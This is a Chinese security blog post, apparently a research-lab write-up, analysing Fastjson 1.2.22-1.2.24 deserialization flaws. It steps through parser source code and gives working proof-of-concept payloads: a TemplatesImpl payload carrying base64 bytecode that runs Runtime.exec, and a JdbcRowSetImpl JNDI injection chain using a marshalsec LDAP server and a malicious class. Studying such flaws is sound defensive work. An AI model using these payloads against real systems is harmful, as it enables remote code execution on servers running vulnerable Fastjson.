Fastjson反序列化汇总-上篇

admin 2022年5月1日17:59:29评论125 views字数 23110阅读77分2秒阅读模式

Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

Fastjson 1.2.22-1.2.24反序列化复现

man.java

public class Man {
    private int age;
    private String name;

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

写个Ser.java来使用fastjson对一个man对象进行序列化操作

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args) {
        Man man=new Man();
        man.setAge(18);
        man.setName("ch1e");
        String jsonstring0= JSON.toJSONString(man);
        System.out.println(jsonstring0);
        String jsonstring1=JSON.toJSONString(man, SerializerFeature.WriteClassName);
        System.out.println(jsonstring1);
    }
}

具体运行的情况如下,我们可以看到,我们使用了两种JSON.toJSONString方法,一种只有一个参数,另外一种多了一个SerializerFeature.WriteClassName,序列化出来的结果也是有所不同, 加了SerializerFeature.WriteClassName参数后序列化的结果会多一个@type,fastjson漏洞产生原因就在这

Fastjson反序列化汇总-上篇

SerializerFeature.WriteClassName是toJSONString设置的一个属性值,设置之后会多写入一个@type,代表的是被序列化的类名,在上图可见,他还调用了其getter方法。

反序列化有两种方法,一种是parse,另外一种是parseObject,parseObject方法如下,他其实也是使用的是parse方法,只是多了一步处理toJSON处理对象,JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象

public static final JSONObject parseObject(String text) {
    Object obj = parse(text);
    return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
Fastjson反序列化汇总-上篇

如上图,在序列化时,Fastjson会调用成员的get方法,如果是被private并且没有get方法的成员就不会被序列化,在反序列化时,会调用指定类的全部setter并且public修饰的成员全部赋值。问题主要出在@type处,设想一下,如果未对@type字段进行完全的安全性验证,那么攻击者可以传入危险类来执行其中的恶意代码,这就存在了一个安全问题。其中攻击手法有两种,一种是前面分析过的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,一种是还没遇到过的com.sun.rowset.JdbcRowSetImpl这里先演示一下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl如何进行攻击,POC如下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Unser {
    public static void main(String[] args) throws Exception {
        ParserConfig config = new ParserConfig();
        String text ="{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQALTERlbW8kdGVzdDsBAApTb3VyY2VGaWxlAQAJRGVtby5qYXZhDAAEAAUHABMBAAlEZW1vJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAERGVtbwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFW5pY2UwZTM1OTY1NzU3NTI5NjkwMAEAF0xuaWNlMGUzNTk2NTc1NzUyOTY5MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAACwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}
Fastjson反序列化汇总-上篇

上图中的bytecodes是我们构造的恶意代码,我们使用如下代码来产生我们的恶意代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{
        }

        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec("calc");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        ""@type":"" + NASTY_CLASS +"","+
                        ""_bytecodes":[""+evilCode_base64+""],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

}

Fastjson 1.2.22-1.2.24反序列化原理分析

TemplatesImpl利用链

我们先在JSON.parseObject处下断点,开启调试

public static <T> parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
    return parseObject(input, clazz, config, null, DEFAULT_PARSER_FEATURE, features);
}

他首先是调用了自身的另外一个重载方法,初始化了一个DefaultJSONParser对象

public static <T> parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor,
                                      int featureValues, Feature... features)
 
{
    if (input == null) {
        return null;
    }

    if (features != null) {
        for (Feature feature : features) {
            featureValues |= feature.mask;
        }
    }

    DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);

    if (processor != null) {
        if (processor instanceof ExtraTypeProvider) {
            parser.getExtraTypeProviders().add((ExtraTypeProvider) processor);
        }

        if (processor instanceof ExtraProcessor) {
            parser.getExtraProcessors().add((ExtraProcessor) processor);
        }

        if (processor instanceof FieldTypeResolver) {
            parser.setFieldTypeResolver((FieldTypeResolver) processor);
        }
    }

    T value = (T) parser.parseObject(clazz, null);

    parser.handleResovleTask(value);

    parser.close();

    return (T) value;
}

DefaultJSONParser的构造方法如下,首先是用传入的值对自身属性进行赋值,

public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;

    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
    } else {
        lexer.nextToken(); // prime the pump
    }
}

这里的input就是我们传进去的需要反序列化的内容,ch是通过lexer.getCurrent()进行赋值,判断当前的字符是否是{开头或者是[开头,如果是{开头,把lexer.token赋为12(这里的JSONToken.LBRACE是一个常量,在文件里就是12)

Fastjson反序列化汇总-上篇

然后调用到了T value = (T) parser.parseObject(clazz, null);直接跟进,代码如下

public <T> parseObject(Type type, Object fieldName) {
    int token = lexer.token();
    if (token == JSONToken.NULL) {
        lexer.nextToken();
        return null;
    }

    if (token == JSONToken.LITERAL_STRING) {
        if (type == byte[].class) {
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken();
            return (T) bytes;
        }

        if (type == char[].class) {
            String strVal = lexer.stringVal();
            lexer.nextToken();
            return (T) strVal.toCharArray();
        }
    }

    ObjectDeserializer derializer = config.getDeserializer(type);

    try {
        return (T) derializer.deserialze(this, type, fieldName);
    } catch (JSONException e) {
        throw e;
    } catch (Throwable e) {
        throw new JSONException(e.getMessage(), e);
    }
}

首先是获取到了lexer的token,但是我们上面说了,他检测到开头是{,所以这里的token就是12,并且对token进行了判断,这里的话上面的前两个if都不满足,不会进入if语句,直接来到ObjectDeserializer derializer = config.getDeserializer(type);,这里就是获取了一个ObjectDeserializer对象,接着就是return (T) derializer.deserialze(this, type, fieldName);调用了derializer的derialize方法并作为返回值返回,跟进看看

public <T> deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    if (type instanceof GenericArrayType) {
        Type componentType = ((GenericArrayType) type).getGenericComponentType();
        if (componentType instanceof TypeVariable) {
            TypeVariable<?> componentVar = (TypeVariable<?>) componentType;
            componentType = componentVar.getBounds()[0];
        }

        List<Object> list = new ArrayList<Object>();
        parser.parseArray(componentType, list);
        Class<?> componentClass;
        if (componentType instanceof Class) {
            componentClass = (Class<?>) componentType;
            Object[] array = (Object[]) Array.newInstance(componentClass, list.size());
            list.toArray(array);
            return (T) array;
        } else {
            return (T) list.toArray();
        }

    }

    if (type instanceof Class && type != Object.class && type != Serializable.class) {
        return (T) parser.parseObject(type);    
    }

    return (T) parser.parse(fieldName);
}

上面说到,ObjectDeserializer derializer = config.getDeserializer(type)是获取一个ObjectDeserializer对象,这里的type其实是class java.lang.Object,所以这里直接跳过前两个if判断,进入到parser.parse(fieldName);,并且把他作为返回值返回,继续跟进

public Object parse(Object fieldName) {
    final JSONLexer lexer = this.lexer;
    switch (lexer.token()) {
        case SET:
            lexer.nextToken();
            HashSet<Object> set = new HashSet<Object>();
            parseArray(set, fieldName);
            return set;
        case TREE_SET:
            lexer.nextToken();
            TreeSet<Object> treeSet = new TreeSet<Object>();
            parseArray(treeSet, fieldName);
            return treeSet;
        case LBRACKET:
            JSONArray array = new JSONArray();
            parseArray(array, fieldName);
            if (lexer.isEnabled(Feature.UseObjectArray)) {
                return array.toArray();
            }
            return array;
        case LBRACE:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return parseObject(object, fieldName);
        case LITERAL_INT:
            Number intValue = lexer.integerValue();
            lexer.nextToken();
            return intValue;
        case LITERAL_FLOAT:
            Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
            lexer.nextToken();
            return value;
        case LITERAL_STRING:
            String stringLiteral = lexer.stringVal();
            lexer.nextToken(JSONToken.COMMA);

            if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
                try {
                    if (iso8601Lexer.scanISO8601DateIfMatch()) {
                        return iso8601Lexer.getCalendar().getTime();
                    }
                } finally {
                    iso8601Lexer.close();
                }
            }

            return stringLiteral;
        case NULL:
            lexer.nextToken();
            return null;
        case UNDEFINED:
            lexer.nextToken();
            return null;
        case TRUE:
            lexer.nextToken();
            return Boolean.TRUE;
        case FALSE:
            lexer.nextToken();
            return Boolean.FALSE;
        case NEW:
            lexer.nextToken(JSONToken.IDENTIFIER);

            if (lexer.token() != JSONToken.IDENTIFIER) {
                throw new JSONException("syntax error");
            }
            lexer.nextToken(JSONToken.LPAREN);

            accept(JSONToken.LPAREN);
            long time = ((Number) lexer.integerValue()).longValue();
            accept(JSONToken.LITERAL_INT);

            accept(JSONToken.RPAREN);

            return new Date(time);
        case EOF:
            if (lexer.isBlankInput()) {
                return null;
            }
            throw new JSONException("unterminated json string, " + lexer.info());
        case ERROR:
        default:
            throw new JSONException("syntax error, " + lexer.info());
    }
}

这里的话是对token进行了一个判断,之前说了,此时的token是12,应该执行的是如下代码

        case LBRACE:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return parseObject(object, fieldName);

调用了parseObject(object, fieldName);并作为返回值返回,这里的话代码太长了,这里就不全放了

Fastjson反序列化汇总-上篇

他在上图红框处获取到了key,正是我们需要反序列化的内容中@type

Fastjson反序列化汇总-上篇

这里是先对key是否等于@type进行了一个判断,如果是,则获取@type中的值给到typeName,所以传进来的应该是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并且调用反射把这个类名传递进去获取一个方法来获取类对象,接着就走到了ObjectDeserializer deserializer = config.getDeserializer(clazz);,获得了一个JavaBeanDeserializer对象并且调用他的deserialze方法作为返回值返回,继续跟踪,他会加载两次重载,来到如下位置

Fastjson反序列化汇总-上篇

走完这两步,可以看到,他直接获取到了outputProperties,我们这里跟踪一下,他是哪里获取到的这个outputProperties,往上看代码,fieldDeser是通过sortedFieldDeserializers[fieldIndex]进行赋值,此时的fieldIndex是0,那么这里的sortedFieldDeserializers是哪里来的呢?这里可以发现他是通过构造方法进行赋值也就是在实例化的时候,我们找到实例化对象的地方,发现是在之前的ObjectDeserializer deserializer = config.getDeserializer(clazz);地方进行初始化

public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo){
    this.clazz = beanInfo.clazz;
    this.beanInfo = beanInfo;

    sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
    for (int i = 0, size = beanInfo.sortedFields.length; i < size; ++i) {
        FieldInfo fieldInfo = beanInfo.sortedFields[i];
        FieldDeserializer fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);

        sortedFieldDeserializers[i] = fieldDeserializer;
    }

    fieldDeserializers = new FieldDeserializer[beanInfo.fields.length];
    for (int i = 0, size = beanInfo.fields.length; i < size; ++i) {
        FieldInfo fieldInfo = beanInfo.fields[i];
        FieldDeserializer fieldDeserializer = getFieldDeserializer(fieldInfo.name);
        fieldDeserializers[i] = fieldDeserializer;
    }
}

我们这里跟进一下他初始化的过程,这里把config.getDeserializer的代码放出

public ObjectDeserializer getDeserializer(Type type) {
    ObjectDeserializer derializer = this.derializers.get(type);
    if (derializer != null) {
        return derializer;
    }

    if (type instanceof Class<?>) {
        return getDeserializer((Class<?>) type, type);
    }

    if (type instanceof ParameterizedType) {
        Type rawType = ((ParameterizedType) type).getRawType();
        if (rawType instanceof Class<?>) {
            return getDeserializer((Class<?>) rawType, type);
        } else {
            return getDeserializer(rawType);
        }
    }

    return JavaObjectDeserializer.instance;
}

在上面的代码中,会进入第二个if判断,从而调用到getDeserializer((Class<?>) type, type);跟进,在最后的时候调用了derializer = createJavaBeanDeserializer(clazz, type);继续跟进createJavaBeanDeserializer,而这个方法又调用了JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);,然后在build方法中有如下循环,对clazz的方法进行了遍历,此时的clazz是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,遍历了他其中的方法,判断名字长度是否大于四,是否是静态方法,是否是以get开头,并且第四个字母为大写,,是否有参数传入,以及返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

    for (Method method : clazz.getMethods()) { // getter methods
        String methodName = method.getName();
        if (methodName.length() < 4) {
            continue;
        }

        if (Modifier.isStatic(method.getModifiers())) {
            continue;
        }

        if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
            if (method.getParameterTypes().length != 0) {
                continue;
            }

            if (Collection.class.isAssignableFrom(method.getReturnType()) //
                || Map.class.isAssignableFrom(method.getReturnType()) //
                || AtomicBoolean.class == method.getReturnType() //
                || AtomicInteger.class == method.getReturnType() //
                || AtomicLong.class == method.getReturnType() //
            ) {
                String propertyName;

                JSONField annotation = method.getAnnotation(JSONField.class);
                if (annotation != null && annotation.deserialize()) {
                    continue;
                }

                if (annotation != null && annotation.name().length() > 0) {
                    propertyName = annotation.name();
                } else {
                    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                }

                FieldInfo fieldInfo = getField(fieldList, propertyName);
                if (fieldInfo != null) {
                    continue;
                }

                if (propertyNamingStrategy != null) {
                    propertyName = propertyNamingStrategy.translate(propertyName);
                }

                add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 000, annotation, nullnull));
            }
        }
    }

    return new JavaBeanInfo(clazz, builderClass, defaultConstructor, nullnull, buildMethod, jsonType, fieldList);
}

TemplatesImpl的getOutputProperties()刚好满足,这样一来的话就执行到了add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));

Fastjson反序列化汇总-上篇

然后就是来到了JavaBeanDeserializer的构造函数,对beanInfo.sortedFields进行了遍历,把结果给了sortedFieldDeserializers[]

public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo){
    this.clazz = beanInfo.clazz;
    this.beanInfo = beanInfo;

    sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
    for (int i = 0, size = beanInfo.sortedFields.length; i < size; ++i) {
        FieldInfo fieldInfo = beanInfo.sortedFields[i];
        FieldDeserializer fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);

        sortedFieldDeserializers[i] = fieldDeserializer;
    }

    fieldDeserializers = new FieldDeserializer[beanInfo.fields.length];
    for (int i = 0, size = beanInfo.fields.length; i < size; ++i) {
        FieldInfo fieldInfo = beanInfo.fields[i];
        FieldDeserializer fieldDeserializer = getFieldDeserializer(fieldInfo.name);
        fieldDeserializers[i] = fieldDeserializer;
    }
}

然后就回到了我们刚刚获得outputProperties的地方了,然后继续往下,会走到boolean match = parseField(parser, key, object, type, fieldValues);,接着继续调试,来到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField这一步

,在parseField方法末尾执行了有一个setValue(object, value);,我们跟进,往下调试,在如下位置存在反射调用执行TemplatesImplgetOutputProperties()方法。

Fastjson反序列化汇总-上篇

其实到这里已经算结束了,因为后面的部分就是jdk7u21后半条链,这样就能弹出计算器了

Fastjson反序列化汇总-上篇

这里的话前面是说到有两种方法,一种是parse,一种是parseObject,差别在于parseObject("",class)在调用JavaBeanInfo.build() 方法时传入的clazz参数源于parseObject方法中第二个参数中指定的类,而parse("")这种方式调用JavaBeanInfo.build()方法时传入的clazz参数获取于json字符串中@type字段的值。

坑一

为什么我们需要对_bytecodes进行base64编码?

在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject处有如下代码

if (token == JSONToken.LITERAL_STRING) {
    if (type == byte[].class) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken();
        return (T) bytes;
    }

    if (type == char[].class) {
        String strVal = lexer.stringVal();
        lexer.nextToken();
        return (T) strVal.toCharArray();
    }
}

其中bytes使用到了lexer.bytesValue();方法,这里跟进这个方法,位于com.alibaba.fastjson.parser#JSONScanner

public byte[] bytesValue() {
    return IOUtils.decodeBase64(text, np + 1, sp);
}

这里的话他是有调用IOUtils.decodeBase64进行解密,所以我们需要给他base64编码

坑二:

在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值?

Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性,并且TemplatesImpl里的属性都是私有的

JNDI之JdbcRowSetImpl

漏洞分析

jndi注入通用性较强,但是需要在目标出网的情况下才能使用

我这里选择通过ldap进行利用,依旧在JSON.parse()下个断点,进行调试

public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    }

    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
    Object value = parser.parse();

    parser.handleResovleTask(value);

    parser.close();

    return value;
}

调用到他的重载方法,验证了一下text是否为null,初始化了一个DefaultJSONParser对象。进入这个对象的构造方法,对自身属性进行赋值,判断之前的text的开头是{还是[开头,如果是{开头,设置token值是12

Fastjson反序列化汇总-上篇

创建完成后调用DefaultJSONParser#parse方法,继续跟进,调用的自身的重载方法,因为之前的token是12,所以这里会创建一个JSONObject对象,然后调用DefaultJSONParser#parseObject方法并且作为返回值返回

Fastjson反序列化汇总-上篇

在DefaultJSONParser#parseObject方法中,前面的部分是对token的一些比较,然后在如下位置获取到了KEY,就是我们的@type部分

Fastjson反序列化汇总-上篇

获取到了key以后程序走到如下位置,这里的话通过TypeUtils#loadClass方法去加载Class,调用反射来获取类对象

Fastjson反序列化汇总-上篇
在TypeUtils#loadClass方法中的第一个if判断后,有这么一行Class<?> clazz = mappings.get(className); ,他是去mappings里寻找类,但是这里并没有我们想要用的类,所以在后面会使用ClassLoader加载类
Fastjson反序列化汇总-上篇

TypeUtils#loadClass方法中ClassLoader加载类的代码如下

if (contextClassLoader != null) {
    clazz = contextClassLoader.loadClass(className);
    mappings.put(className, clazz);

    return clazz;
}

返回的Clazz对象就是一个com.sun.rowset.JdbcRowSetImpl对象,继续回到DeafultJSONParser#parseObject方法中

Fastjson反序列化汇总-上篇

创建了一个ObjectDeserializer对象并且调用了他自身的deserialze方法。继续跟进这里使用黑名单限制了可以反序列化的类,但是黑名单里只有Thread

Fastjson反序列化汇总-上篇

继续往下调试,直到调用到setAutoCommit()函数

Fastjson反序列化汇总-上篇

跟进connect方法

Fastjson反序列化汇总-上篇

这里的getDataSourceName的值是我们在前面setDataSourceName()方法中设置的值,lookup里的内容可控,所以这里可能造成JNDI注入漏洞

调用栈如下

connect:624JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067JdbcRowSetImpl (com.sun.rowset)
invoke0:-1NativeMethodAccessorImpl (sun.reflect)
invoke:62NativeMethodAccessorImpl (sun.reflect)
invoke:43DelegatingMethodAccessorImpl (sun.reflect)
invoke:497Method (java.lang.reflect)
setValue:96FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137JSON (com.alibaba.fastjson)
parse:128JSON (com.alibaba.fastjson)
main:9Test (RMI)

漏洞利用

还需要一个恶意类,badClassName.java

import java.io.IOException;

public class badClassName {
    public badClassName() {
    }
    static {
        try {

            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

然后把我们的badClassName.class放到一个文件夹中,开启HTTP服务

python3 -m http.server 8000

并且使用marshalsec开启JNDI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#badClassName 1389

客户端代码Client.java如下

package RMI;

import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        String PoC = "{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/badClassName", "autoCommit":true}";
        JSON.parse(PoC);
    }
}
Fastjson反序列化汇总-上篇

参考文章

https://xz.aliyun.com/t/9052#toc-13









-END-

Fastjson反序列化汇总-上篇如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。Fastjson反序列化汇总-上篇



  推荐关注:





Fastjson反序列化汇总-上篇
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~




原文始发于微信公众号(弱口令安全实验室):Fastjson反序列化汇总-上篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日17:59:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson反序列化汇总-上篇http://cn-sec.com/archives/968004.html

发表评论

匿名网友 填写信息